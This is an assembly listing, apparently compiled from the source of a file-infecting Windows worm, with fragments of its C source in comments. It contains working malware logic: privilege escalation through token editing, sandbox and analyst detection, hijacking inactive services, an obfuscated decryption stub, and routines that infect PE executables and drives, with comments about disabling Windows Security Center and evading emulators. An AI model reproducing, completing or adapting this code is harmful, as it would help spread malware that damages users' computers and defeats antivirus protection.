_my_strcpy,function _my_strcpy: pushl %esi .line 8 movl 12(%esp),%esi .line 10 xor %ecx,%ecx _$438: .line 13 movl 8(%esp),%eax movb (%esi,%ecx),%dl movb %dl,(%eax,%ecx) .line 14 cmpb $0,(%esi,%ecx) je _$439 incl %ecx jmp _$438 _$439: .line 16 popl %esi ret _$441: .size _my_strcpy,_$441-_my_strcpy .globl _my_strcpy .file "e:\projects\progs\petrosjan\bjwj\worm\_token.c" _$M143: .data .globl _ptu .align 2 .type _ptu,object _ptu: .long 0x0 .globl _sdsc2 .align 2 .type _sdsc2,object _sdsc2: .long 0x0 .text ; res --> %edi ; hprc --> %esi ; pid --> %ebx .type _EditOwnToken_or_CheckFiltered,function _EditOwnToken_or_CheckFiltered: pushl %ebp movl %esp,%ebp subl $64,%esp pushl %ebx pushl %esi pushl %edi .line 60 .line 69 call _isSystemNT or %eax,%eax jne _$443 .line 70 xor %edi,%edi inc %edi jmp _$445 _$443: .line 75 call *__GetCurrentProcessId movl %eax,%ebx .line 77 pushl %ebx pushl $0 pushl $0x1f0fff call *__OpenProcess movl %eax,%esi .line 78 leal -4(%ebp),%eax pushl %eax pushl $40 pushl %esi call *__OpenProcessToken movl %eax,%edi .line 84 or %edi,%edi je _$445 _$446: .line 88 andl $0,-60(%ebp) .line 89 leal -64(%ebp),%eax pushl %eax pushl $40 leal -60(%ebp),%eax pushl %eax pushl $21 pushl -4(%ebp) call *__GetTokenInformation movl %eax,%edi .line 98 cmpl $0,8(%ebp) je _$448 .line 100 or %edi,%edi jne _$450 inc %edi jmp _$445 _$450: .line 101 xor %edi,%edi inc %edi .line 102 cmpl $0,-60(%ebp) je _$445 xor %edi,%edi .line 103 jmp _$445 _$448: .line 106 cmpl $0,_ptu jne _$454 pushl $16384 pushl $64 call *__LocalAlloc movl %eax,_ptu _$454: .line 107 leal -64(%ebp),%eax pushl %eax pushl $16384 pushl _ptu pushl $1 pushl -4(%ebp) call *__GetTokenInformation .line 120 cmpl $0,_sdsc2 jne _$456 pushl $20 pushl $0 call *__LocalAlloc movl %eax,_sdsc2 _$456: .line 122 pushl $1 pushl _sdsc2 call *__InitializeSecurityDescriptor movl %eax,%edi .line 128 pushl $0 pushl $0 pushl $1 pushl _sdsc2 call *__SetSecurityDescriptorDacl movl %eax,%edi .line 134 pushl $0 movl _ptu,%eax pushl (,%eax) pushl _sdsc2 call *__SetSecurityDescriptorOwner movl %eax,%edi .line 142 leal -16(%ebp),%eax pushl %eax pushl $_$458 pushl $0 call *__LookupPrivilegeValue movl %eax,%edi .line 148 or %edi,%edi je _$445 _$460: .line 150 movl $1,-20(%ebp) .line 151 movl $2,-8(%ebp) .line 153 pushl $0 pushl $0 pushl $0 leal -20(%ebp),%eax pushl %eax pushl $0 pushl -4(%ebp) call *__AdjustTokenPrivileges movl %eax,%edi _$445: .line 160 pushl -4(%ebp) call *__CloseHandle .line 161 pushl %esi call *__CloseHandle .line 162 movl %edi,%eax .line 163 popl %edi popl %esi popl %ebx leave ret _$476: .size _EditOwnToken_or_CheckFiltered,_$476-_EditOwnToken_or_CheckFiltered .globl _EditOwnToken_or_CheckFiltered .file "e:\projects\progs\petrosjan\bjwj\worm\_antiav\_avsvc.c" _$M144: .type _InitAVSVC,function _InitAVSVC: .line 5 .line 10 pushl $_$478 pushl $_AVSVC call _strcpy@8 .line 15 ret _$479: .size _InitAVSVC,_$479-_InitAVSVC .globl _InitAVSVC .file "e:\projects\progs\petrosjan\bjwj\worm\_service.c" _$M145: ; env --> %edi ; SERVICEFND --> %esi ; env0 --> %ebx .type _CheckService,function _CheckService: pushl %ebp movl %esp,%ebp subl $524,%esp pushl %ebx pushl %esi pushl %edi .line 6 .line 13 call _isSystemNT or %eax,%eax je _$480 _$481: .line 15 movl $255,-516(%ebp) .line 16 leal -516(%ebp),%eax pushl %eax leal -255(%ebp),%eax pushl %eax call *__GetUserName .line 25 cmpb $0,-255(%ebp) jne _$483 xor %eax,%eax inc %eax jmp _$480 _$483: .line 26 pushl $1 pushl $_$487 leal -255(%ebp),%eax pushl %eax call _serstr addl $12,%esp cmpl $65535,%eax je _$485 xor %eax,%eax inc %eax jmp _$480 _$485: .line 27 pushl $1 pushl $_$490 leal -255(%ebp),%eax pushl %eax call _serstr addl $12,%esp cmpl $65535,%eax je _$488 xor %eax,%eax inc %eax jmp _$480 _$488: .line 29 movl $255,-520(%ebp) .line 30 leal -520(%ebp),%eax pushl %eax leal -510(%ebp),%eax pushl %eax call *__GetComputerName .line 38 pushl $_$491 leal -510(%ebp),%eax pushl %eax call *__strcat .line 39 pushl $1 leal -255(%ebp),%eax pushl %eax leal -510(%ebp),%eax pushl %eax call _serstr addl $20,%esp cmpl $65535,%eax je _$492 xor %eax,%eax inc %eax jmp _$480 _$492: .line 43 call *__GetEnvironmentStrings movl %eax,%ebx .line 44 movl %ebx,%edi .line 45 xor %esi,%esi _$494: .line 48 cmpb $0,(,%edi) je _$497 _$495: .line 54 movl %edi,%ecx orl $-1,%eax _$strlen3: inc %eax cmpb $0,(%ecx,%eax) jnz _$strlen3 movl %eax,-524(%ebp) .line 55 pushl $1 pushl $_$500 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$498 movl $1,%esi jmp _$497 _$498: .line 56 pushl $1 pushl $_$503 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$501 xor %esi,%esi inc %esi jmp _$497 _$501: .line 58 movl -524(%ebp),%eax leal 1(%eax,%edi),%edi .line 59 jmp _$494 _$497: .line 62 pushl %ebx call *__FreeEnvironmentStrings .line 63 or %esi,%esi je _$504 xor %eax,%eax inc %eax jmp _$480 _$504: .line 65 xor %eax,%eax _$480: .line 66 popl %edi popl %esi popl %ebx leave ret _$514: .size _CheckService,_$514-_CheckService .globl _CheckService ; exe --> %edi ; res --> %esi ; scs --> %ebx .type _ProcessService,function _ProcessService: pushl %ebp movl %esp,%ebp subl $292,%esp pushl %ebx pushl %esi pushl %edi .line 72 .line 87 pushl $_$516 leal -259(%ebp),%eax pushl %eax call _strcpy@8 pushl 12(%ebp) leal -259(%ebp),%eax pushl %eax call *__strcat pushl $_$516 leal -259(%ebp),%eax pushl %eax call *__strcat addl $16,%esp .line 89 pushl $19 pushl 12(%ebp) pushl 8(%ebp) call *__OpenService movl %eax,%ebx .line 90 or %ebx,%ebx je _$515 _$517: .line 94 leal -276(%ebp),%eax pushl %eax pushl $0 pushl $0 pushl %ebx call *__QueryServiceConfig .line 96 pushl -276(%ebp) pushl $0 call *__LocalAlloc movl %eax,-4(%ebp) .line 97 leal -272(%ebp),%eax pushl %eax pushl -276(%ebp) pushl -4(%ebp) pushl %ebx call *__QueryServiceConfig movl %eax,%esi .line 103 or %esi,%esi je _$521 _$519: .line 107 movl -4(%ebp),%eax movl 12(%eax),%edi .line 108 pushl %edi pushl %edi call _lowerstr .line 111 pushl $1 pushl $_$524 pushl %edi call _serstr addl $20,%esp cmpl $65535,%eax je _$521 _$522: .line 114 pushl $1 pushl $_$527 pushl %edi call _serstr addl $12,%esp cmpl $65535,%eax je _$525 movl 16(%ebp),%eax cmpl $0,(,%eax) jne _$521 _$528: movl 16(%ebp),%eax movl $1,(,%eax) _$525: .line 116 cmpb $34,(,%edi) jne _$530 .line 117 incl %edi andl $0,-292(%ebp) movb $34,-286(%ebp) movb $0,-285(%ebp) jmp _$531 _$530: .line 119 movl $4,-292(%ebp) pushl $_$524 leal -286(%ebp),%eax pushl %eax call _my_strcpy addl $8,%esp _$531: .line 121 pushl $1 leal -286(%ebp),%eax pushl %eax pushl %edi call _serstr addl $12,%esp movl %eax,-272(%ebp) .line 122 cmpl $0xffff,%eax je _$521 _$533: movl -272(%ebp),%eax addl -292(%ebp),%eax movb $0,(%edi,%eax) .line 136 pushl $0 pushl $0 pushl %edi call _ProcessEXE addl $12,%esp movl %eax,%esi .line 137 or %esi,%esi je _$521 _$535: .line 141 movl -4(%ebp),%eax movl (,%eax),%eax movl %eax,-264(%ebp) .line 142 movl $2,-268(%ebp) .line 144 pushl $1 leal -259(%ebp),%eax pushl %eax pushl $_AVSVC call _serstr addl $12,%esp cmpl $65535,%eax je _$537 movl $4,-268(%ebp) _$537: .line 146 movl -264(%ebp),%eax andl $256,%eax cmpl $256,%eax je _$539 .line 147 orw $256,-264(%ebp) jmp _$540 _$539: .line 149 cmpl $2,-268(%ebp) jne _$540 movl -4(%ebp),%eax cmpl $2,4(%eax) je _$543 _$540: .line 151 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0 pushl $0xffffffff pushl -268(%ebp) pushl -264(%ebp) pushl %ebx call *__ChangeServiceConfig movl %eax,%esi .line 158 or %esi,%esi je _$521 _$544: .line 159 cmpl $4,-268(%ebp) je _$521 _$546: .line 163 _$543: .line 164 movl 20(%ebp),%eax cmpl $0,(,%eax) je _$521 _$548: ; 165 { ; 166 char mtxv[0xFF]; .line 166 pushl $0 pushl $0 pushl %ebx call *__StartService movl %eax,%esi ; 167 _OutputDebugStringA("000"); ; 168 #ifdef dbgdbg ; 169 adddeb("===== !!! SERVICE MODE !!! ====="); ; 170 #endif ; 171 ; 172 sdelay = 10000; //@S // 10 sec rscan infect delay .line 172 or %esi,%esi je _$521 movl 20(%ebp),%eax decl (,%eax) ; 173 _sprintf(mtxv, "%s_%u", SERVICE_MTX,VERSION); //@E // version mutex ; 174 .line 174 _$521: ; 175 //--- returns only if mtxv released or created by our thread .line 175 pushl -4(%ebp) call *__LocalFree ; 176 CreateOrOpenMutexes_WaitForMtx2Release(SERVICE_MTX, mtxv); .line 176 pushl %ebx call *__CloseServiceHandle _$515: ; 177 .line 177 popl %edi popl %esi popl %ebx leave ret _$566: .size _ProcessService,_$566-_ProcessService .globl _ProcessService ; scm --> %edi ; 178 //--- EditOwnToken (enable OWNER priv) ; 179 EditOwnToken_or_CheckFiltered(FALSE); // this func has internal NT check, FALSE==Edit, TRUE==Check ; 180 ; 181 //--- Init infcode, AVSVC, decrypt dll, srand, infect inactive services ; 182 //--- we are initial owner of mutex => no need to launch other svc .type _ProcessInactiveServices,function _ProcessInactiveServices: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $180020,%eax call __stackprobe pushl %edi ; 183 InitInfectData(ticks, 0); //@S // SVC_START==0 => start no services .line 183 ; 184 ; 185 //--- Kill Windows Security Center ; 186 //KillWSC(); //@E // should be finished before AvSvcThread or we'll see red icon in tray! ; 187 ; 188 //--- Create Drives Infecting thread if not 'TERMINAL' mode ; 189 CloseCreateThreadEco(InfectAllDrives); .line 189 andl $0,-180016(%ebp) ; 190 .line 190 andl $0,-180012(%ebp) ; 191 //--- Create Antiviral Prc Thread ; 192 //CloseCreateThreadEco(AvPrcThread); ; 193 .line 193 call _isSystemNT or %eax,%eax je _$567 ; 194 //--- Create Antiviral UnInstall Thread .line 194 _$568: ; 195 //CloseCreateThreadEco(UnInstThread); ; 196 .line 196 pushl $4 pushl $0 pushl $0 call *__OpenSCManager movl %eax,%edi ; 197 //--- Create Antiviral Svc Thread .line 197 leal -180016(%ebp),%eax pushl %eax leal -8(%ebp),%eax pushl %eax leal -4(%ebp),%eax pushl %eax pushl $0x2bf20 leal -180008(%ebp),%eax pushl %eax pushl $2 pushl $48 pushl %edi call *__EnumServicesStatus or %eax,%eax je _$567 ; 198 //CloseCreateThreadEco(AvSvcThread); .line 198 _$570: ; 199 ; 200 //--- returns only if SERVICE_MTX released or created by our thread ; 201 CreateOrOpenMutexes_WaitForMtx2Release(mtxv, SERVICE_MTX); ; 202 ; 203 ; 204 //------ ZDES RAZMESHAETSYA VASH KOD vmesto beckonechnogo cikla .line 204 andl $0,-4(%ebp) jmp _$575 _$572: ; 205 /********************************************************************************************/ .line 205 leal 8(%ebp),%eax pushl %eax leal -180012(%ebp),%eax pushl %eax movl $36,%eax mull -4(%ebp) movl %eax,-180020(%ebp) pushl -180008(%ebp,%eax) pushl %edi call _ProcessService addl $16,%esp .line 204 incl -4(%ebp) _$575: movl -8(%ebp),%eax cmpl %eax,-4(%ebp) jl _$572 ; 206 LoadAndStartDll(); ; 207 /*******************************************************************************************/ .line 207 pushl %edi call *__CloseServiceHandle ; 208 .line 208 movl -8(%ebp),%eax _$567: ; 209 x_loop:; __sleep(0); goto x_loop; .line 209 popl %edi leave ret _$581: .size _ProcessInactiveServices,_$581-_ProcessInactiveServices .globl _ProcessInactiveServices .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_pehead.h" _$M146: .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.h" _$M147: .type _C_CODE_NG,function _C_CODE_NG: pushl %ebp movl %esp,%ebp subl $80,%esp pushl %ebx pushl %esi pushl %edi .line 51 .line 80 movl $0,-28(%ebp) .line 101 movl $0xf0f0f0f0,-28(%ebp) .line 102 movl $0xfefefefe,-36(%ebp) .line 103 addl $0xfefefefe,-36(%ebp) .line 104 movl $0xf1f1f1f1,-40(%ebp) .line 105 addl $0xf1f1f1f1,-40(%ebp) .line 109 movl $0,-32(%ebp) .line 110 decl -28(%ebp) _$583: .line 112 .line 144 movl $3,-60(%ebp) _$584: movl -40(%ebp),%edi cmpl %edi,-60(%ebp) jb _$585 jmp _$587 _$585: movl -60(%ebp),%edi addl -36(%ebp),%edi movzbl (,%edi),%ebx movl -28(%ebp),%esi movl %esi,%edx andl $0xff,%edx movl %ebx,%esi xorl %edx,%esi movl %si,%bx movb %bl,(,%edi) incl -60(%ebp) jmp _$584 _$587: .line 149 movl $0xfdfdfdfd,-44(%ebp) .line 150 movl $0xfbfbfbfb,-16(%ebp) .line 153 incl -32(%ebp) .line 154 cmpl $2,-32(%ebp) jne _$588 incl -28(%ebp) _$588: .line 156 cmpl $3,-32(%ebp) jae _$590 jmp _$583 _$590: .line 169 movl $0,-60(%ebp) _$592: movl -60(%ebp),%edi movl -16(%ebp),%esi movl -44(%ebp),%ebx movb (%ebx,%edi),%bl movb %bl,(%esi,%edi) incl -60(%ebp) cmpl $0xfcfcfcfc,-60(%ebp) jae _$593 jmp _$592 _$593: .line 174 movl $0xfafafafa,-48(%ebp) .line 175 movl $0xf8f8f8f8,-52(%ebp) .line 188 movl $0,-60(%ebp) _$595: movl -60(%ebp),%edi movl -52(%ebp),%esi movl -48(%ebp),%ebx movb (%ebx,%edi),%bl movb %bl,(%esi,%edi) incl -60(%ebp) cmpl $0xf9f9f9f9,-60(%ebp) jae _$596 jmp _$595 _$596: .line 193 movl $0xf5f5f5f5,-20(%ebp) .line 194 movl $0xf7f7f7f7,-8(%ebp) _$598: .line 198 movl $0xf3f3f3f3,-24(%ebp) .line 199 movl $0xf2f2f2f2,-56(%ebp) .line 203 movl $0,-4(%ebp) jmp _$602 _$599: .line 209 movl -16(%ebp),%edi subl -24(%ebp),%edi movl %edi,-12(%ebp) ; 210 } .line 210 movl -4(%ebp),%edi addl $8,%edi addl -8(%ebp),%edi movl %edi,-68(%ebp) ; 211 .line 211 movl -68(%ebp),%edi movw (,%edi),%di movw %di,-62(%ebp) ; 212 /////////////////////////////////////////////////////////////// ; 213 // Main Thread //////////////////////////////////////////////// .line 213 cmpw $0,-62(%ebp) jne _$603 jmp _$601 _$603: ; 214 .line 214 movzwl -62(%ebp),%edi sarl $12,%edi movl %edi,-72(%ebp) ; 215 #ifdef _MSC_VER .line 215 movzwl -62(%ebp),%edi sall $4,%edi movl %edi,-60(%ebp) ; 216 #pragma optimize("", off) .line 216 shrl $4,-60(%ebp) ; 217 #else ; 218 #pragma optimize(off) .line 218 cmpl $0,-60(%ebp) jne _$605 cmpl $0,-4(%ebp) je _$605 jmp _$601 _$605: ; 219 #endif .line 219 movl -12(%ebp),%edi subl -20(%ebp),%edi movl %edi,-76(%ebp) ; 220 ; 221 DWORD WINAPI MainThread(LPVOID GPA) ; 222 { ; 223 //---ANTINOD: esli zapalit drugie Init, iskazit i GetModuleHandle ; 224 ; 225 DWORD x; //@S ; 226 DWORD kernfuck; //@E .line 226 cmpl $3,-72(%ebp) jne _$607 ; 227 ; 228 DWORD ticks; .line 228 movl -8(%ebp),%edi movl (,%edi),%edi addl -60(%ebp),%edi addl -12(%ebp),%edi movl %edi,-80(%ebp) ; 229 BOOL service; .line 229 movl -80(%ebp),%edi movl -76(%ebp),%esi addl %esi,(,%edi) _$607: ; 230 BYTE resver; ; 231 .line 231 _$600: .line 203 addl $2,-4(%ebp) _$602: movl -8(%ebp),%edi movl 4(%edi),%edi cmpl %edi,-4(%ebp) jb _$599 _$601: ; 232 char mtx[0xFF]; //@S ; 233 char mtxv[0xFF]; //@E .line 233 _$609: ; 234 .line 234 movl -8(%ebp),%edi movl 4(%edi),%esi addl %edi,%esi movl %esi,-8(%ebp) ; 235 MSG m; //@S ; 236 WNDCLASS wtc; //@E .line 236 cmpl $0xf4f4f4f4,-8(%ebp) jae _$610 jmp _$598 _$610: ; 237 DWORD flags; ; 238 int q, w; ; 239 .line 239 ; 240 HANDLE sm; //@S .line 240 movl $5000,-64(%ebp) ; 241 DWORD START_SVC; //@E .line 241 movl $1096,-60(%ebp) ; 242 ; 243 x += 23; //@S .line 243 movl -64(%ebp),%eax movl -60(%ebp),%edi addl $3,%edi mull %edi movl %eax,-68(%ebp) movl -68(%ebp),%edi movl %edi,-64(%ebp) ; 244 GetTicks1(); //@E .line 244 movl -64(%ebp),%edi movl -60(%ebp),%esi leal 8(%edi,%esi),%esi addl %esi,%edi movl %edi,-64(%ebp) ; 245 .line 245 addl $164,-60(%ebp) ; 246 kernfuck = 512; //@S .line 246 movl $23,%eax mull -60(%ebp) movl %eax,-72(%ebp) movl -72(%ebp),%edi movl %edi,-60(%ebp) _$582: ; 247 x = AntiEmulator(96) ; //@E // x==1 if NOT EMULATED ; 248 ; 249 _KERNEL32=(HANDLE)((DWORD)_KERNEL32+kernfuck+EMUL); //@S // if NOT EMULATED, EMUL==0 .line 249 popl %edi popl %esi popl %ebx leave ret _$621: .size _C_CODE_NG,_$621-_C_CODE_NG .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_c_code.c" _$M148: .type _WriteOrGetLen_C_CODE,function _WriteOrGetLen_C_CODE: pushl %ebp movl %esp,%ebp subl $448,%esp pushl %ebx pushl %esi pushl %edi .line 17 .line 21 leal _C_CODE_NG,%edi movl %edi,-8(%ebp) .line 23 movl $9,-16(%ebp) .line 38 cmpl $0,8(%ebp) je _$623 .line 41 movl $0,-4(%ebp) _$625: movl -4(%ebp),%edi movl $0,-216(%ebp,%edi,4) _$626: incl -4(%ebp) cmpl $50,-4(%ebp) jb _$625 .line 46 movl 8(%ebp),%edi movb $80,(,%edi) .line 47 movl 8(%ebp),%edi movb $81,1(%edi) .line 48 movl 8(%ebp),%edi movb $144,2(%edi) .line 49 movl 8(%ebp),%edi movb $82,3(%edi) .line 50 movl 8(%ebp),%edi movb $83,4(%edi) .line 51 movl 8(%ebp),%edi movb $84,5(%edi) .line 52 movl 8(%ebp),%edi movb $85,6(%edi) .line 53 movl 8(%ebp),%edi movb $86,7(%edi) .line 54 movl 8(%ebp),%edi movb $87,8(%edi) _$623: .line 59 movl $0,-4(%ebp) _$629: .line 62 movl -4(%ebp),%edi addl -16(%ebp),%edi movl %edi,-12(%ebp) .line 63 movl -4(%ebp),%edi movl -8(%ebp),%esi movl (%esi,%edi),%edi movl %edi,-432(%ebp) .line 69 cmpl $0,8(%ebp) je _$633 .line 73 movl $0,-444(%ebp) .line 76 movl $240,-436(%ebp) _$635: .line 78 movl -436(%ebp),%edi movl %edi,%esi shll $8,%esi movl %edi,%ebx addl %esi,%ebx movl %edi,%esi shll $16,%esi addl %esi,%ebx shll $24,%edi movl %ebx,%esi addl %edi,%esi movl %esi,-440(%ebp) .line 85 movl -432(%ebp),%edi cmpl %edi,-440(%ebp) jne _$639 movl -4(%ebp),%edi addl $4,%edi movl -8(%ebp),%esi movzbl (%esi,%edi),%ebx cmpl -436(%ebp),%ebx je _$639 movl $1,-444(%ebp) _$639: .line 86 _$636: .line 76 incl -436(%ebp) cmpl $255,-436(%ebp) jb _$635 .line 88 cmpl $1,-444(%ebp) jne _$641 .line 90 movl $254,%edi movl -4(%ebp),%esi addl $1,%esi movl -8(%ebp),%ebx movzbl (%ebx,%esi),%ebx subl %ebx,%edi movl %edi,-448(%ebp) .line 113 movl -448(%ebp),%edi cmpl $0,%edi je _$645 cmpl $13,%edi jne _$643 _$645: .line 116 movl -448(%ebp),%edi cmpl $0,-216(%ebp,%edi,4) jne _$646 call *__rand movl -448(%ebp),%esi movl %eax,%edi movl -448(%ebp),%edi movl 12(%ebp),%ebx movl (%ebx,%edi,4),%ecx xorl %edx,%edx divl %ecx movl %edx,-428(%ebp,%esi,4) movl -12(%ebp),%edi movl 8(%ebp),%esi movl -448(%ebp),%ebx movl -428(%ebp,%ebx,4),%ebx movl %ebx,(%esi,%edi) _$646: .line 117 movl -448(%ebp),%edi cmpl $1,-216(%ebp,%edi,4) jne _$648 movl -448(%ebp),%edi shll $2,%edi movl -12(%ebp),%esi movl 8(%ebp),%ebx movl 12(%ebp),%edx movl (%edx,%edi),%edx subl -428(%ebp,%edi),%edx movl %edx,(%ebx,%esi) _$648: .line 124 addl $3,-4(%ebp) .line 125 movl -448(%ebp),%edi leal -216(%ebp,%edi,4),%edi incl (,%edi) .line 126 jmp _$630 _$643: .line 135 movl -12(%ebp),%edi movl 8(%ebp),%esi movl -448(%ebp),%ebx movl 12(%ebp),%edx movl (%edx,%ebx,4),%ebx movl %ebx,(%esi,%edi) .line 136 addl $3,-4(%ebp) .line 137 jmp _$630 _$641: .line 140 movl -12(%ebp),%edi movl 8(%ebp),%esi movl -4(%ebp),%ebx movl -8(%ebp),%edx movb (%edx,%ebx),%bl movb %bl,(%esi,%edi) _$633: .line 144 movl -4(%ebp),%edi movl -8(%ebp),%esi movzbl (%esi,%edi),%ebx cmpl $201,%ebx jne _$650 movzbl 1(%edi,%esi),%ebx cmpl $195,%ebx jne _$650 incl -4(%ebp) incl -12(%ebp) jmp _$631 _$650: _$630: .line 59 incl -4(%ebp) jmp _$629 _$631: .line 151 addl $5,-4(%ebp) .line 152 movl -16(%ebp),%edi addl %edi,-4(%ebp) .line 153 cmpl $0,8(%ebp) jne _$652 movl -4(%ebp),%eax jmp _$622 _$652: .line 157 movl -12(%ebp),%edi movl 8(%ebp),%esi movb $233,(%esi,%edi) .line 159 movl 12(%ebp),%edi movl 32(%edi),%edi addl 20(%ebp),%edi addl -12(%ebp),%edi movl %edi,-220(%ebp) .line 160 movl 16(%ebp),%edi movl %edi,-224(%ebp) .line 165 movl $0xfffffffe,%edi subl -220(%ebp),%edi addl -224(%ebp),%edi subl $3,%edi movl %edi,-228(%ebp) .line 171 movl -12(%ebp),%edi addl $1,%edi movl 8(%ebp),%esi movl -228(%ebp),%ebx movl %ebx,(%esi,%edi) .line 172 addl $4,-12(%ebp) .line 174 movl -4(%ebp),%eax _$622: .line 175 popl %edi popl %esi popl %ebx leave ret _$661: .size _WriteOrGetLen_C_CODE,_$661-_WriteOrGetLen_C_CODE .globl _WriteOrGetLen_C_CODE .file "e:\projects\progs\petrosjan\bjwj\worm\_infect1\_peinf.c" _$M149: .data .globl _VIRULENCE .type _VIRULENCE,object _VIRULENCE: .byte 0 .text ; a --> %esi .type _align,function _align: pushl %ebp movl %esp,%ebp subl $12,%esp pushl %esi pushl %edi .line 39 movl 12(%ebp),%esi .line 42 movl 8(%ebp),%eax xorl %edx,%edx divl %esi or %edx,%edx jne _$663 movl 8(%ebp),%eax jmp _$662 _$663: .line 44 movl 8(%ebp),%eax xorl %edx,%edx divl %esi movl %eax,-8(%ebp) movl %eax,%edi mull %esi movl %eax,-12(%ebp) movl %eax,%edi addl %esi,%edi movl %edi,-4(%ebp) .line 50 movl %edi,%eax _$662: .line 51 popl %edi popl %esi leave ret _$667: .size _align,_$667-_align .globl _align ; b --> %edi ; w --> %esi ; q --> %ebx .type _ReinfectSince17,function _ReinfectSince17: pushl %ebp movl %esp,%ebp subl $40,%esp pushl %ebx pushl %esi pushl %edi .line 67 movl 12(%ebp),%edi .line 78 andl $0,-12(%ebp) .line 79 pushl 32(%ebp) pushl 16(%ebp) call _align addl $8,%esp movl %eax,-16(%ebp) .line 80 movl %eax,%ebx .line 81 addl $3072,%eax movl %eax,-32(%ebp) .line 82 movl 20(%ebp),%ecx cmpl %ecx,%eax jbe _$671 movl %ecx,%eax movl %eax,-32(%ebp) .line 89 _$671: .line 90 movzbl (%edi,%ebx),%eax xorl $77,%eax movb %al,-5(%ebp) .line 92 movl %ebx,%esi addl $218,%esi .line 94 jmp _$675 _$672: .line 98 movzbl (%edi,%esi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-17(%ebp) cmpb $46,-17(%ebp) jne _$673 _$676: .line 99 movzbl 1(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-18(%ebp) cmpb $116,-18(%ebp) jne _$673 _$678: .line 100 movzbl 2(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-19(%ebp) cmpb $101,-19(%ebp) jne _$673 _$680: .line 101 movzbl 3(%esi,%edi),%eax movzbl -5(%ebp),%edx xorl %edx,%eax movb %al,-20(%ebp) cmpb $120,-20(%ebp) jne _$673 _$682: .line 105 movl %ebx,%eax subl -16(%ebp),%eax movl %eax,-12(%ebp) .line 106 movl 20(%ebp),%edx subl -16(%ebp),%edx movl %edx,-24(%ebp) .line 108 pushl 32(%ebp) movl %eax,-36(%ebp) movzbl 1(%ebx,%edi),%eax mull 28(%ebp) movl %eax,-40(%ebp) movl -36(%ebp),%eax movl -40(%ebp),%edx addl %edx,%eax movzbl 2(%ebx,%edi),%edx sall $9,%edx movl %eax,%ecx addl %edx,%ecx pushl %ecx call _align addl $8,%esp movl %eax,-28(%ebp) .line 115 cmpl %eax,-24(%ebp) je _$686 .line 119 _$673: .line 94 incl %esi _$675: movl %ebx,%eax addl $560,%eax cmpl %eax,%esi jb _$672 .line 122 incl %ebx .line 123 cmpl -32(%ebp),%ebx jb _$671 _$687: .line 125 _$686: .line 131 cmpl $0,-12(%ebp) jne _$689 xor %eax,%eax jmp _$668 _$689: .line 135 andl $0,-4(%ebp) jmp _$694 _$691: .line 136 movl -4(%ebp),%eax movl 24(%ebp),%edx addl %eax,%edx movl -16(%ebp),%ecx addl %eax,%ecx movb (%edi,%ecx),%al movb %al,(%edi,%edx) .line 135 incl -4(%ebp) _$694: movl -12(%ebp),%eax cmpl %eax,-4(%ebp) jb _$691 .line 138 _$668: .line 139 popl %edi popl %esi popl %ebx leave ret _$700: .size _ReinfectSince17,_$700-_ReinfectSince17 .globl _ReinfectSince17 ; obj_e --> %esi ; b --> %ebx .type _InfectPE,function _InfectPE: pushl %ebp movl %esp,%ebp .extern __stackprobe movl $250836,%eax call __stackprobe pushl %ebx pushl %esi pushl %edi .line 144 .line 156 andl $0,-176(%ebp) .line 164 andl $0,-36(%ebp) .line 165 andl $0,-44(%ebp) .line 166 andl $0,-148(%ebp) .line 240 pushl _dll_len pushl _dll_mem movl _szinfcode,%eax leal -250496(%ebp,%eax),%eax pushl %eax call *__memcpy addl $12,%esp .line 244 andl $0,-250524(%ebp) _$702: .line 247 pushl $0 pushl $0 pushl $3 pushl $0 pushl $0 pushl $0xc0000001 pushl 8(%ebp) call *__CreateFile movl %eax,-168(%ebp) .line 248 cmpl $0xffffffff,%eax jne _$703 ; 250 _KERNEL32=(HANDLE)((DWORD)_KERNEL32-kernfuck*x); //@E .line 250 incl -250524(%ebp) ; 251 .line 251 cmpl $1,-250524(%ebp) jne _$705 ; 252 //---ANTIEMUL end .line 252 pushl 8(%ebp) call _UnprotectFile popl %ecx jmp _$702 _$705: ; 253 .line 253 xor %eax,%eax jmp _$701 _$703: ; 254 InitKernel32a(); //GetModuleHandle,LoadLibrary ; 255 ; 256 InitKernel32(); //@S .line 256 pushl $0 pushl -168(%ebp) call *__GetFileSize movl %eax,-144(%ebp) ; 257 InitCRTDLL(); .line 257 movl %eax,-250568(%ebp) ; 258 InitUser32(); ; 259 InitADVAPI32(); .line 259 movl _dll_len,%edx leal 0x2ffff(%eax,%edx),%eax pushl %eax pushl $0 call *__LocalAlloc movl %eax,%ebx ; 260 InitSFC(); .line 260 or %ebx,%ebx je _$709 _$707: ; 261 InitShell32(); .line 261 pushl $0 leal -4(%ebp),%eax pushl %eax pushl -144(%ebp) pushl %ebx pushl -168(%ebp) call *__ReadFile ; 262 InitCrypt32(); ; 263 InitUrlmon(); ; 264 InitWininet(); ; 265 InitSFC_OS(); //@E ; 266 ; 267 .line 267 cmpl $1024,-4(%ebp) jb _$709 _$710: ; 268 #ifdef dbgdbg ; 269 adddeb("===MainThread==="); ; 270 adddeb("AntiEmulator x:%u",x); ; 271 #endif ; 272 ; 273 ; 274 ticks = _GetTickCount(); //@S ; 275 hI=_GetModuleHandle(NULL); //IMPORTANT!!! global hI will be used in dll decrypt ; 276 service = CheckService(); //@E ; 277 ; 278 #ifdef dbgdbg ; 279 adddeb("CheckService: %u (0==FALSE)",service); .line 279 cmpl $0,_dll_len je _$709 ; 280 #endif ; 281 ; 282 //===== we are SERVICE, routine ServiceMode never returns ; 283 ; 284 // *** service should not create mutex with the same name as .line 284 _$712: ; 285 // *** infected usermode processes or they will never work ; 286 // *** service creates it's own 2 mutexes - with version and without it ; 287 ; 288 #ifdef SVCDBG ; 289 service = 1; // SERVICEMODE DEBUG ; 290 #endif ; 291 //if (/*@S!=*/service != 0/*@E*/) ServiceMode(ticks); // func never returns! .line 291 movl 60(%ebx),%eax movl %eax,-136(%ebp) ; 292 ServiceMode(ticks); ; 293 ; 294 //===== USERMODE ONLY CODE: we are not service ; 295 ; 296 #ifdef dbgdbg ; 